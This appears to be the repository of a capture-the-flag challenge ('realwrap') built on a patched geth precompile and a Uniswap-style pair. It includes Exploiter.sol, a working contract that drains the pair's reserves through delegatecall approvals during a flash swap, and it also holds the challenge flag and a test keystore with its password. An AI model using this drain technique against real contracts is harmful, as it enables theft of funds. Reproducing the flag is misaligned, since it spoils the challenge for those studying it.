├── .gitignore ├── README.md ├── brownie-config.yaml ├── chaindata ├── keystore │ └── UTC--2021-05-11T18-03-04.189516100Z--ec469e9473fbba97a2ee923b4a6dac697dcf3bde └── password.txt ├── challenge.yml ├── contracts ├── Exploiter.sol ├── Factory.sol ├── UniswapV2Pair.sol └── libraries │ └── UQ112x112.sol ├── deploy.sh ├── docker-compose.yml ├── flag.txt ├── genesis.json ├── geth_entrypoint.sh ├── geth_v1.10.26_precompiled.diff ├── hardhat.config.js ├── package-lock.json ├── package.json └── scripts ├── deploy.js └── exploit.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | # Hardhat files 9 | cache 10 | artifacts 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RealWorld CTF 5th - realwrap 2 | 3 | ## Description 4 | 5 | WETH on Ethereum is too cumbersome! I'll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE! 6 | 7 | nc ip 20000 8 | 9 | faucet: http://ip:8080 10 | 11 | RPC(geth v1.10.26 with realwrap patch): http://ip:8545 12 | 13 | [attachment](https://github.com/iczc/rwctf-5th-realwrap/releases) 14 | 15 | ## Deployment 16 | 17 | ### Prerequisites 18 | 19 | * Docker 20 | * Docker Compose 21 | * Git 22 | 23 | ```bash 24 | ./deploy.sh 25 | ``` 26 | 27 | ## Exploit 28 | 29 | Configure the web3 provider and private key in `hardhat.config.js`, and then run: 30 | 31 | ```bash 32 | export FACTORY_ADDRESS="your factory address" 33 | npx hardhat run scripts/exploit.js --network local 34 | ``` 35 | -------------------------------------------------------------------------------- /brownie-config.yaml: -------------------------------------------------------------------------------- 1 | compiler: 2 | solc: 3 | remappings: 4 | - "@openzeppelin=OpenZeppelin/openzeppelin-contracts@4.8.0" 5 | dependencies: 6 | - OpenZeppelin/openzeppelin-contracts@4.8.0 7 | -------------------------------------------------------------------------------- /chaindata/keystore/UTC--2021-05-11T18-03-04.189516100Z--ec469e9473fbba97a2ee923b4a6dac697dcf3bde: -------------------------------------------------------------------------------- 1 | {"address":"ec469e9473fbba97a2ee923b4a6dac697dcf3bde","crypto":{"cipher":"aes-128-ctr","ciphertext":"f3c40b9f9620567adeab6737690b9cecf85115c1d8c8b74aecd5e05d2a782ba3","cipherparams":{"iv":"f99dedac5d3149403891dfe19f3728f9"},"kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"9d07c5d16a20a2c8d918518c2783b047bc6dedfabd148066aff8caf7031da2b1"},"mac":"ba0b2bd04a65c606ae58a00dd6dbb98b68135aba0f4cc606784741611de8b2e3"},"id":"e7d9a54a-38ee-4f10-ac86-195d3acb1cdb","version":3} -------------------------------------------------------------------------------- /chaindata/password.txt: -------------------------------------------------------------------------------- 1 | chainflag 2 | -------------------------------------------------------------------------------- /challenge.yml: -------------------------------------------------------------------------------- 1 | contract: Factory 2 | 3 | description: | 4 | WETH on Ethereum is too cumbersome! I'll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE! 5 | 6 | constructor: 7 | value: 1000000000000000000 # 1 ether 8 | gas: 6000000 9 | -------------------------------------------------------------------------------- /contracts/Exploiter.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.17; 2 | 3 | import "@openzeppelin/contracts/access/Ownable.sol"; 4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 5 | import "@openzeppelin/contracts/utils/Address.sol"; 6 | 7 | interface IUniswapV2Pair { 8 | function token0() external view returns (address); 9 | 10 | function token1() external view returns (address); 11 | 12 | function mint(address to) external returns (uint liquidity); 13 | 14 | function swap( 15 | uint amount0Out, 16 | uint amount1Out, 17 | address to, 18 | bytes calldata data 19 | ) external; 20 | 21 | function sync() external; 22 | } 23 | 24 | contract Exploiter is Ownable { 25 | using Address for address; 26 | 27 | address public WETH; 28 | address public token; 29 | IUniswapV2Pair uniswapV2Pair; 30 | 31 | constructor(address _WETH, address _pair) { 32 | WETH = _WETH; 33 | uniswapV2Pair = IUniswapV2Pair(_pair); 34 | address token0 = uniswapV2Pair.token0(); 35 | address token1 = uniswapV2Pair.token1(); 36 | require(token0 == WETH || token1 == WETH, "INVALID"); 37 | token = token0 == WETH ? token1 : token0; 38 | } 39 | 40 | function exploit() external payable onlyOwner { 41 | (uint256 amount0, uint256 amount1) = uniswapV2Pair.token0() == WETH 42 | ? (1, 0) 43 | : (0, 1); 44 | uniswapV2Pair.swap(amount0, amount1, address(this), bytes("1")); 45 | 46 | uint256 balanceETH = IERC20(WETH).balanceOf(address(uniswapV2Pair)); 47 | uint256 balanceToken = IERC20(token).balanceOf(address(uniswapV2Pair)); 48 | 49 | IERC20(WETH).transferFrom( 50 | address(uniswapV2Pair), 51 | msg.sender, 52 | balanceETH 53 | ); 54 | IERC20(token).transferFrom( 55 | address(uniswapV2Pair), 56 | msg.sender, 57 | balanceToken 58 | ); 59 | 60 | uniswapV2Pair.sync(); 61 | } 62 | 63 | function uniswapV2Call( 64 | address sender, 65 | uint256 amount0, 66 | uint256 amount1, 67 | bytes calldata data 68 | ) external { 69 | require( 70 | msg.sender == address(uniswapV2Pair) && sender == address(this), 71 | "FORBIDDEN" 72 | ); 73 | uint256 amountOut = 1; 74 | IERC20(WETH).transfer( 75 | msg.sender, 76 | (amountOut * 1000) / (amountOut * 997) + 1 77 | ); // repayment 78 | 79 | bytes memory approveData = abi.encodeWithSignature( 80 | "approve(address,uint256)", 81 | address(this), 82 | type(uint256).max 83 | ); 84 | WETH.functionDelegateCall(approveData); // approve ETH 85 | WETH.functionDelegateCall( // approve SimpleToken 86 | abi.encodeWithSignature( 87 | "transferAndCall(address,uint256,bytes)", 88 | token, 89 | 0, 90 | approveData 91 | ) 92 | ); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /contracts/Factory.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.17; 2 | 3 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 5 | import "./UniswapV2Pair.sol"; 6 | 7 | contract SimpleToken is ERC20 { 8 | constructor(uint256 _initialSupply) ERC20("SimpleToken", "SPT") { 9 | _mint(msg.sender, _initialSupply); 10 | } 11 | } 12 | 13 | interface IUniswapV2Pair { 14 | function getReserves() 15 | external 16 | view 17 | returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); 18 | 19 | function mint(address to) external returns (uint liquidity); 20 | 21 | function initialize(address, address) external; 22 | } 23 | 24 | contract Factory { 25 | address public constant WETH = 0x0000000000000000000000000000000000004eA1; 26 | address public uniswapV2Pair; 27 | 28 | event PairCreated( 29 | address indexed token0, 30 | address indexed token1, 31 | address pair 32 | ); 33 | 34 | constructor() payable { 35 | require(msg.value == 1 ether); 36 | address token = address(new SimpleToken(10 ** 8 * 1 ether)); 37 | uniswapV2Pair = createPair(WETH, token); 38 | IERC20(WETH).transfer(uniswapV2Pair, 1 ether); 39 | IERC20(token).transfer(uniswapV2Pair, 100 ether); 40 | IUniswapV2Pair(uniswapV2Pair).mint(msg.sender); 41 | } 42 | 43 | function createPair( 44 | address tokenA, 45 | address tokenB 46 | ) public returns (address pair) { 47 | (address token0, address token1) = tokenA < tokenB 48 | ? (tokenA, tokenB) 49 | : (tokenB, tokenA); 50 | bytes32 salt = keccak256(abi.encodePacked(token0, token1)); 51 | pair = address(new UniswapV2Pair{salt: salt}()); 52 | IUniswapV2Pair(pair).initialize(token0, token1); 53 | emit PairCreated(token0, token1, pair); 54 | } 55 | 56 | function isSolved() public view returns (bool) { 57 | (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(uniswapV2Pair) 58 | .getReserves(); 59 | return reserve0 == 0 && reserve1 == 0; 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /contracts/UniswapV2Pair.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.17; 2 | 3 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 4 | import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; 5 | import "@openzeppelin/contracts/utils/math/Math.sol"; 6 | import "@openzeppelin/contracts/utils/math/SafeMath.sol"; 7 | import "./libraries/UQ112x112.sol"; 8 | 9 | interface IUniswapV2Callee { 10 | function uniswapV2Call( 11 | address sender, 12 | uint256 amount0, 13 | uint256 amount1, 14 | bytes calldata data 15 | ) external; 16 | } 17 | 18 | contract UniswapV2ERC20 is ERC20 { 19 | constructor() ERC20("Uniswap V2", "UNI-V2") {} 20 | } 21 | 22 | contract UniswapV2Pair is UniswapV2ERC20 { 23 | using SafeMath for uint256; 24 | using UQ112x112 for uint224; 25 | using SafeERC20 for IERC20; 26 | uint256 public constant MINIMUM_LIQUIDITY = 10 ** 3; 27 | 28 | address public factory; 29 | address public token0; 30 | address public token1; 31 | 32 | uint112 private reserve0; // uses single storage slot, accessible via getReserves 33 | uint112 private reserve1; // uses single storage slot, accessible via getReserves 34 | uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves 35 | 36 | uint256 public price0CumulativeLast; 37 | uint256 public price1CumulativeLast; 38 | 39 | uint256 private unlocked = 1; 40 | modifier lock() { 41 | require(unlocked == 1, "UniswapV2: LOCKED"); 42 | unlocked = 0; 43 | _; 44 | unlocked = 1; 45 | } 46 | 47 | function getReserves() 48 | public 49 | view 50 | returns ( 51 | uint112 _reserve0, 52 | uint112 _reserve1, 53 | uint32 _blockTimestampLast 54 | ) 55 | { 56 | _reserve0 = reserve0; 57 | _reserve1 = reserve1; 58 | _blockTimestampLast = blockTimestampLast; 59 | } 60 | 61 | event Mint(address indexed sender, uint256 amount0, uint256 amount1); 62 | event Burn( 63 | address indexed sender, 64 | uint256 amount0, 65 | uint256 amount1, 66 | address indexed to 67 | ); 68 | event Swap( 69 | address indexed sender, 70 | uint256 amount0In, 71 | uint256 amount1In, 72 | uint256 amount0Out, 73 | uint256 amount1Out, 74 | address indexed to 75 | ); 76 | event Sync(uint112 reserve0, uint112 reserve1); 77 | 78 | constructor() { 79 | factory = msg.sender; 80 | } 81 | 82 | // called once by the factory at time of deployment 83 | function initialize(address _token0, address _token1) external { 84 | require(msg.sender == factory, "UniswapV2: FORBIDDEN"); // sufficient check 85 | token0 = _token0; 86 | token1 = _token1; 87 | } 88 | 89 | // update reserves and, on the first call per block, price accumulators 90 | function _update( 91 | uint256 balance0, 92 | uint256 balance1, 93 | uint112 _reserve0, 94 | uint112 _reserve1 95 | ) private { 96 | require( 97 | balance0 <= type(uint112).max && balance1 <= type(uint112).max, 98 | "UniswapV2: OVERFLOW" 99 | ); 100 | uint32 blockTimestamp = uint32(block.timestamp % 2 ** 32); 101 | unchecked { 102 | uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired 103 | if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { 104 | // * never overflows, and + overflow is desired 105 | price0CumulativeLast += 106 | uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * 107 | timeElapsed; 108 | price1CumulativeLast += 109 | uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * 110 | timeElapsed; 111 | } 112 | } 113 | reserve0 = uint112(balance0); 114 | reserve1 = uint112(balance1); 115 | blockTimestampLast = blockTimestamp; 116 | emit Sync(reserve0, reserve1); 117 | } 118 | 119 | // this low-level function should be called from a contract which performs important safety checks 120 | function mint(address to) external lock returns (uint256 liquidity) { 121 | (uint112 _reserve0, uint112 _reserve1, ) = getReserves(); 122 | uint256 balance0 = IERC20(token0).balanceOf(address(this)); 123 | uint256 balance1 = IERC20(token1).balanceOf(address(this)); 124 | uint256 amount0 = balance0.sub(_reserve0); 125 | uint256 amount1 = balance1.sub(_reserve1); 126 | 127 | uint256 _totalSupply = totalSupply(); 128 | if (_totalSupply == 0) { 129 | liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); 130 | _mint(address(0xdEaD), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens 131 | } else { 132 | liquidity = Math.min( 133 | amount0.mul(_totalSupply) / _reserve0, 134 | amount1.mul(_totalSupply) / _reserve1 135 | ); 136 | } 137 | require(liquidity > 0, "UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED"); 138 | _mint(to, liquidity); 139 | 140 | _update(balance0, balance1, _reserve0, _reserve1); 141 | emit Mint(msg.sender, amount0, amount1); 142 | } 143 | 144 | // this low-level function should be called from a contract which performs important safety checks 145 | function burn( 146 | address to 147 | ) external lock returns (uint256 amount0, uint256 amount1) { 148 | (uint112 _reserve0, uint112 _reserve1, ) = getReserves(); 149 | address _token0 = token0; 150 | address _token1 = token1; 151 | uint256 balance0 = IERC20(_token0).balanceOf(address(this)); 152 | uint256 balance1 = IERC20(_token1).balanceOf(address(this)); 153 | uint256 liquidity = balanceOf(address(this)); 154 | 155 | uint256 _totalSupply = totalSupply(); 156 | amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution 157 | amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution 158 | require( 159 | amount0 > 0 && amount1 > 0, 160 | "UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED" 161 | ); 162 | _burn(address(this), liquidity); 163 | IERC20(token0).safeTransfer(to, amount0); 164 | IERC20(token1).safeTransfer(to, amount1); 165 | 166 | balance0 = IERC20(_token0).balanceOf(address(this)); 167 | balance1 = IERC20(_token1).balanceOf(address(this)); 168 | 169 | _update(balance0, balance1, _reserve0, _reserve1); 170 | emit Burn(msg.sender, amount0, amount1, to); 171 | } 172 | 173 | // this low-level function should be called from a contract which performs important safety checks 174 | function swap( 175 | uint256 amount0Out, 176 | uint256 amount1Out, 177 | address to, 178 | bytes calldata data 179 | ) external lock { 180 | require( 181 | amount0Out > 0 || amount1Out > 0, 182 | "UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT" 183 | ); 184 | (uint112 _reserve0, uint112 _reserve1, ) = getReserves(); 185 | require( 186 | amount0Out < _reserve0 && amount1Out < _reserve1, 187 | "UniswapV2: INSUFFICIENT_LIQUIDITY" 188 | ); 189 | 190 | uint256 balance0; 191 | uint256 balance1; 192 | { 193 | // scope for _token{0,1}, avoids stack too deep errors 194 | address _token0 = token0; 195 | address _token1 = token1; 196 | require(to != _token0 && to != _token1, "UniswapV2: INVALID_TO"); 197 | if (amount0Out > 0) IERC20(_token0).safeTransfer(to, amount0Out); 198 | if (amount1Out > 0) IERC20(_token1).safeTransfer(to, amount1Out); 199 | if (data.length > 0) 200 | IUniswapV2Callee(to).uniswapV2Call( 201 | msg.sender, 202 | amount0Out, 203 | amount1Out, 204 | data 205 | ); 206 | balance0 = IERC20(_token0).balanceOf(address(this)); 207 | balance1 = IERC20(_token1).balanceOf(address(this)); 208 | } 209 | uint256 amount0In = balance0 > _reserve0 - amount0Out 210 | ? balance0 - (_reserve0 - amount0Out) 211 | : 0; 212 | uint256 amount1In = balance1 > _reserve1 - amount1Out 213 | ? balance1 - (_reserve1 - amount1Out) 214 | : 0; 215 | require( 216 | amount0In > 0 || amount1In > 0, 217 | "UniswapV2: INSUFFICIENT_INPUT_AMOUNT" 218 | ); 219 | { 220 | // scope for reserve{0,1}Adjusted, avoids stack too deep errors 221 | uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); 222 | uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); 223 | require( 224 | balance0Adjusted.mul(balance1Adjusted) >= 225 | uint256(_reserve0).mul(_reserve1).mul(1000 ** 2), 226 | "UniswapV2: K" 227 | ); 228 | } 229 | 230 | _update(balance0, balance1, _reserve0, _reserve1); 231 | emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); 232 | } 233 | 234 | // force balances to match reserves 235 | function skim(address to) external lock { 236 | address _token0 = token0; 237 | address _token1 = token1; 238 | IERC20(_token0).safeTransfer( 239 | to, 240 | IERC20(_token0).balanceOf(address(this)) - reserve0 241 | ); 242 | IERC20(_token1).safeTransfer( 243 | to, 244 | IERC20(_token1).balanceOf(address(this)) - reserve1 245 | ); 246 | } 247 | 248 | // force reserves to match balances 249 | function sync() external lock { 250 | _update( 251 | IERC20(token0).balanceOf(address(this)), 252 | IERC20(token1).balanceOf(address(this)), 253 | reserve0, 254 | reserve1 255 | ); 256 | } 257 | } 258 | -------------------------------------------------------------------------------- /contracts/libraries/UQ112x112.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.17; 2 | 3 | // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) 4 | 5 | // range: [0, 2**112 - 1] 6 | // resolution: 1 / 2**112 7 | // https://github.com/Uniswap/v2-core/blob/master/contracts/libraries/UQ112x112.sol 8 | library UQ112x112 { 9 | uint224 constant Q112 = 2 ** 112; 10 | 11 | // encode a uint112 as a UQ112x112 12 | function encode(uint112 y) internal pure returns (uint224 z) { 13 | z = uint224(y) * Q112; 14 | } 15 | 16 | // divide a UQ112x112 by a uint112, returning a UQ112x112 17 | function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { 18 | z = x / uint224(y); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | git clone git@github.com:ethereum/go-ethereum.git 4 | cd go-ethereum && git checkout v1.10.26 5 | git apply ../geth_v1.10.26_precompiled.diff 6 | docker build -t realwrap_geth . 7 | cd .. && docker-compose up -d 8 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.3" 2 | services: 3 | geth: 4 | image: realwrap_geth 5 | container_name: ethereum 6 | restart: unless-stopped 7 | entrypoint: 8 | - /bin/sh 9 | - -c 10 | - "/entrypoint.sh" 11 | ports: 12 | - "8545:8545" 13 | volumes: 14 | - ./chaindata:/chaindata 15 | - ./genesis.json:/genesis.json 16 | - ./geth_entrypoint.sh:/entrypoint.sh 17 | 18 | faucet: 19 | image: chainflag/eth-faucet:1.1.0 20 | container_name: ethfaucet 21 | restart: unless-stopped 22 | ports: 23 | - "8080:8080" 24 | links: 25 | - geth 26 | volumes: 27 | - ./chaindata/keystore:/app/keystore 28 | - ./chaindata/password.txt:/app/password.txt 29 | command: -wallet.provider http://geth:8545 -wallet.keyjson /app/keystore -wallet.keypass /app/password.txt -faucet.amount 2 30 | depends_on: 31 | - geth 32 | 33 | challenge: 34 | image: chainflag/solidctf:1.0.0 35 | container_name: realwrap 36 | restart: unless-stopped 37 | ports: 38 | - "20000:20000" 39 | links: 40 | - geth 41 | environment: 42 | - WEB3_PROVIDER_URI=http://geth:8545 43 | volumes: 44 | - ./flag.txt:/ctf/flag.txt 45 | - ./contracts:/ctf/contracts 46 | - ./challenge.yml:/ctf/challenge.yml 47 | - ./brownie-config.yaml:/ctf/brownie-config.yaml 48 | depends_on: 49 | - geth 50 | 51 | networks: 52 | default: 53 | -------------------------------------------------------------------------------- /flag.txt: -------------------------------------------------------------------------------- 1 | rwctf{pREcOmpilEd_m4st3r_5TolE_mY_M0ney} 2 | -------------------------------------------------------------------------------- /genesis.json: -------------------------------------------------------------------------------- 1 | { 2 | "config": { 3 | "chainId": 45267, 4 | "homesteadBlock": 0, 5 | "eip150Block": 0, 6 | "eip150Hash": "0x0000000000000000000000000000000000000000000000000000000000000000", 7 | "eip155Block": 0, 8 | "eip158Block": 0, 9 | "byzantiumBlock": 0, 10 | "constantinopleBlock": 0, 11 | "petersburgBlock": 0, 12 | "istanbulBlock": 0, 13 | "clique": { 14 | "period": 5, 15 | "epoch": 30000 16 | } 17 | }, 18 | "nonce": "0x0", 19 | "timestamp": "0x609ac710", 20 | "extraData": "0x0000000000000000000000000000000000000000000000000000000000000000ec469e9473fbba97a2ee923b4a6dac697dcf3bde0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", 21 | "gasLimit": "0x1312D00", 22 | "difficulty": "0x1", 23 | "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", 24 | "coinbase": "0x0000000000000000000000000000000000000000", 25 | "alloc": { 26 | "0000000000000000000000000000000000004ea1": { 27 | "balance": "0x1" 28 | }, 29 | "ec469e9473fbba97a2ee923b4a6dac697dcf3bde": { 30 | "balance": "0x200000000000000000000000000000000000000000000000000000000000000" 31 | } 32 | }, 33 | "number": "0x0", 34 | "gasUsed": "0x0", 35 | "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000" 36 | } -------------------------------------------------------------------------------- /geth_entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | GETH_DATA_DIR=/chaindata 4 | GETH_CHAINDATA_DIR=$GETH_DATA_DIR/geth/chaindata 5 | 6 | if [ ! -d "$GETH_CHAINDATA_DIR" ]; then 7 | geth init --datadir="$GETH_DATA_DIR" /genesis.json 8 | fi 9 | 10 | exec geth \ 11 | --datadir="$GETH_DATA_DIR" \ 12 | --password="$GETH_DATA_DIR"/password.txt \ 13 | --allow-insecure-unlock \ 14 | --unlock="0" \ 15 | --mine \ 16 | --networkid=45267 --nodiscover \ 17 | --http --http.addr=0.0.0.0 --http.port=8545 \ 18 | --http.api=eth,net,web3 \ 19 | --http.corsdomain='*' --http.vhosts='*' 20 | -------------------------------------------------------------------------------- /geth_v1.10.26_precompiled.diff: -------------------------------------------------------------------------------- 1 | diff --git a/core/vm/contracts.go b/core/vm/contracts.go 2 | index 1b832b638..9e0569185 100644 3 | --- a/core/vm/contracts.go 4 | +++ b/core/vm/contracts.go 5 | @@ -40,68 +40,85 @@ type PrecompiledContract interface { 6 | Run(input []byte) ([]byte, error) // Run runs the precompiled contract 7 | } 8 | 9 | +type StatefulPrecompiledContract interface { 10 | + Run(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) 11 | +} 12 | + 13 | +type wrappedPrecompiledContract struct { 14 | + p PrecompiledContract 15 | +} 16 | + 17 | +func newWrappedPrecompiledContract(p PrecompiledContract) StatefulPrecompiledContract { 18 | + return &wrappedPrecompiledContract{p: p} 19 | +} 20 | + 21 | +func (w *wrappedPrecompiledContract) Run(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) { 22 | + return RunPrecompiledContract(w.p, input, suppliedGas) 23 | +} 24 | + 25 | // PrecompiledContractsHomestead contains the default set of pre-compiled Ethereum 26 | // contracts used in the Frontier and Homestead releases. 27 | -var PrecompiledContractsHomestead = map[common.Address]PrecompiledContract{ 28 | - common.BytesToAddress([]byte{1}): &ecrecover{}, 29 | - common.BytesToAddress([]byte{2}): &sha256hash{}, 30 | - common.BytesToAddress([]byte{3}): &ripemd160hash{}, 31 | - common.BytesToAddress([]byte{4}): &dataCopy{}, 32 | +var PrecompiledContractsHomestead = map[common.Address]StatefulPrecompiledContract{ 33 | + common.BytesToAddress([]byte{1}): newWrappedPrecompiledContract(&ecrecover{}), 34 | + common.BytesToAddress([]byte{2}): newWrappedPrecompiledContract(&sha256hash{}), 35 | + common.BytesToAddress([]byte{3}): newWrappedPrecompiledContract(&ripemd160hash{}), 36 | + common.BytesToAddress([]byte{4}): newWrappedPrecompiledContract(&dataCopy{}), 37 | } 38 | 39 | // PrecompiledContractsByzantium contains the default set of pre-compiled Ethereum 40 | // contracts used in the Byzantium release. 41 | -var PrecompiledContractsByzantium = map[common.Address]PrecompiledContract{ 42 | - common.BytesToAddress([]byte{1}): &ecrecover{}, 43 | - common.BytesToAddress([]byte{2}): &sha256hash{}, 44 | - common.BytesToAddress([]byte{3}): &ripemd160hash{}, 45 | - common.BytesToAddress([]byte{4}): &dataCopy{}, 46 | - common.BytesToAddress([]byte{5}): &bigModExp{eip2565: false}, 47 | - common.BytesToAddress([]byte{6}): &bn256AddByzantium{}, 48 | - common.BytesToAddress([]byte{7}): &bn256ScalarMulByzantium{}, 49 | - common.BytesToAddress([]byte{8}): &bn256PairingByzantium{}, 50 | +var PrecompiledContractsByzantium = map[common.Address]StatefulPrecompiledContract{ 51 | + common.BytesToAddress([]byte{1}): newWrappedPrecompiledContract(&ecrecover{}), 52 | + common.BytesToAddress([]byte{2}): newWrappedPrecompiledContract(&sha256hash{}), 53 | + common.BytesToAddress([]byte{3}): newWrappedPrecompiledContract(&ripemd160hash{}), 54 | + common.BytesToAddress([]byte{4}): newWrappedPrecompiledContract(&dataCopy{}), 55 | + common.BytesToAddress([]byte{5}): newWrappedPrecompiledContract(&bigModExp{eip2565: false}), 56 | + common.BytesToAddress([]byte{6}): newWrappedPrecompiledContract(&bn256AddByzantium{}), 57 | + common.BytesToAddress([]byte{7}): newWrappedPrecompiledContract(&bn256ScalarMulByzantium{}), 58 | + common.BytesToAddress([]byte{8}): newWrappedPrecompiledContract(&bn256PairingByzantium{}), 59 | } 60 | 61 | // PrecompiledContractsIstanbul contains the default set of pre-compiled Ethereum 62 | // contracts used in the Istanbul release. 63 | -var PrecompiledContractsIstanbul = map[common.Address]PrecompiledContract{ 64 | - common.BytesToAddress([]byte{1}): &ecrecover{}, 65 | - common.BytesToAddress([]byte{2}): &sha256hash{}, 66 | - common.BytesToAddress([]byte{3}): &ripemd160hash{}, 67 | - common.BytesToAddress([]byte{4}): &dataCopy{}, 68 | - common.BytesToAddress([]byte{5}): &bigModExp{eip2565: false}, 69 | - common.BytesToAddress([]byte{6}): &bn256AddIstanbul{}, 70 | - common.BytesToAddress([]byte{7}): &bn256ScalarMulIstanbul{}, 71 | - common.BytesToAddress([]byte{8}): &bn256PairingIstanbul{}, 72 | - common.BytesToAddress([]byte{9}): &blake2F{}, 73 | +var PrecompiledContractsIstanbul = map[common.Address]StatefulPrecompiledContract{ 74 | + common.BytesToAddress([]byte{1}): newWrappedPrecompiledContract(&ecrecover{}), 75 | + common.BytesToAddress([]byte{2}): newWrappedPrecompiledContract(&sha256hash{}), 76 | + common.BytesToAddress([]byte{3}): newWrappedPrecompiledContract(&ripemd160hash{}), 77 | + common.BytesToAddress([]byte{4}): newWrappedPrecompiledContract(&dataCopy{}), 78 | + common.BytesToAddress([]byte{5}): newWrappedPrecompiledContract(&bigModExp{eip2565: false}), 79 | + common.BytesToAddress([]byte{6}): newWrappedPrecompiledContract(&bn256AddIstanbul{}), 80 | + common.BytesToAddress([]byte{7}): newWrappedPrecompiledContract(&bn256ScalarMulIstanbul{}), 81 | + common.BytesToAddress([]byte{8}): newWrappedPrecompiledContract(&bn256PairingIstanbul{}), 82 | + common.BytesToAddress([]byte{9}): newWrappedPrecompiledContract(&blake2F{}), 83 | + realWrappedEtherAddr: &realWrappedEther{}, 84 | } 85 | 86 | // PrecompiledContractsBerlin contains the default set of pre-compiled Ethereum 87 | // contracts used in the Berlin release. 88 | -var PrecompiledContractsBerlin = map[common.Address]PrecompiledContract{ 89 | - common.BytesToAddress([]byte{1}): &ecrecover{}, 90 | - common.BytesToAddress([]byte{2}): &sha256hash{}, 91 | - common.BytesToAddress([]byte{3}): &ripemd160hash{}, 92 | - common.BytesToAddress([]byte{4}): &dataCopy{}, 93 | - common.BytesToAddress([]byte{5}): &bigModExp{eip2565: true}, 94 | - common.BytesToAddress([]byte{6}): &bn256AddIstanbul{}, 95 | - common.BytesToAddress([]byte{7}): &bn256ScalarMulIstanbul{}, 96 | - common.BytesToAddress([]byte{8}): &bn256PairingIstanbul{}, 97 | - common.BytesToAddress([]byte{9}): &blake2F{}, 98 | +var PrecompiledContractsBerlin = map[common.Address]StatefulPrecompiledContract{ 99 | + common.BytesToAddress([]byte{1}): newWrappedPrecompiledContract(&ecrecover{}), 100 | + common.BytesToAddress([]byte{2}): newWrappedPrecompiledContract(&sha256hash{}), 101 | + common.BytesToAddress([]byte{3}): newWrappedPrecompiledContract(&ripemd160hash{}), 102 | + common.BytesToAddress([]byte{4}): newWrappedPrecompiledContract(&dataCopy{}), 103 | + common.BytesToAddress([]byte{5}): newWrappedPrecompiledContract(&bigModExp{eip2565: true}), 104 | + common.BytesToAddress([]byte{6}): newWrappedPrecompiledContract(&bn256AddIstanbul{}), 105 | + common.BytesToAddress([]byte{7}): newWrappedPrecompiledContract(&bn256ScalarMulIstanbul{}), 106 | + common.BytesToAddress([]byte{8}): newWrappedPrecompiledContract(&bn256PairingIstanbul{}), 107 | + common.BytesToAddress([]byte{9}): newWrappedPrecompiledContract(&blake2F{}), 108 | } 109 | 110 | // PrecompiledContractsBLS contains the set of pre-compiled Ethereum 111 | // contracts specified in EIP-2537. These are exported for testing purposes. 112 | -var PrecompiledContractsBLS = map[common.Address]PrecompiledContract{ 113 | - common.BytesToAddress([]byte{10}): &bls12381G1Add{}, 114 | - common.BytesToAddress([]byte{11}): &bls12381G1Mul{}, 115 | - common.BytesToAddress([]byte{12}): &bls12381G1MultiExp{}, 116 | - common.BytesToAddress([]byte{13}): &bls12381G2Add{}, 117 | - common.BytesToAddress([]byte{14}): &bls12381G2Mul{}, 118 | - common.BytesToAddress([]byte{15}): &bls12381G2MultiExp{}, 119 | - common.BytesToAddress([]byte{16}): &bls12381Pairing{}, 120 | - common.BytesToAddress([]byte{17}): &bls12381MapG1{}, 121 | - common.BytesToAddress([]byte{18}): &bls12381MapG2{}, 122 | +var PrecompiledContractsBLS = map[common.Address]StatefulPrecompiledContract{ 123 | + common.BytesToAddress([]byte{10}): newWrappedPrecompiledContract(&bls12381G1Add{}), 124 | + common.BytesToAddress([]byte{11}): newWrappedPrecompiledContract(&bls12381G1Mul{}), 125 | + common.BytesToAddress([]byte{12}): 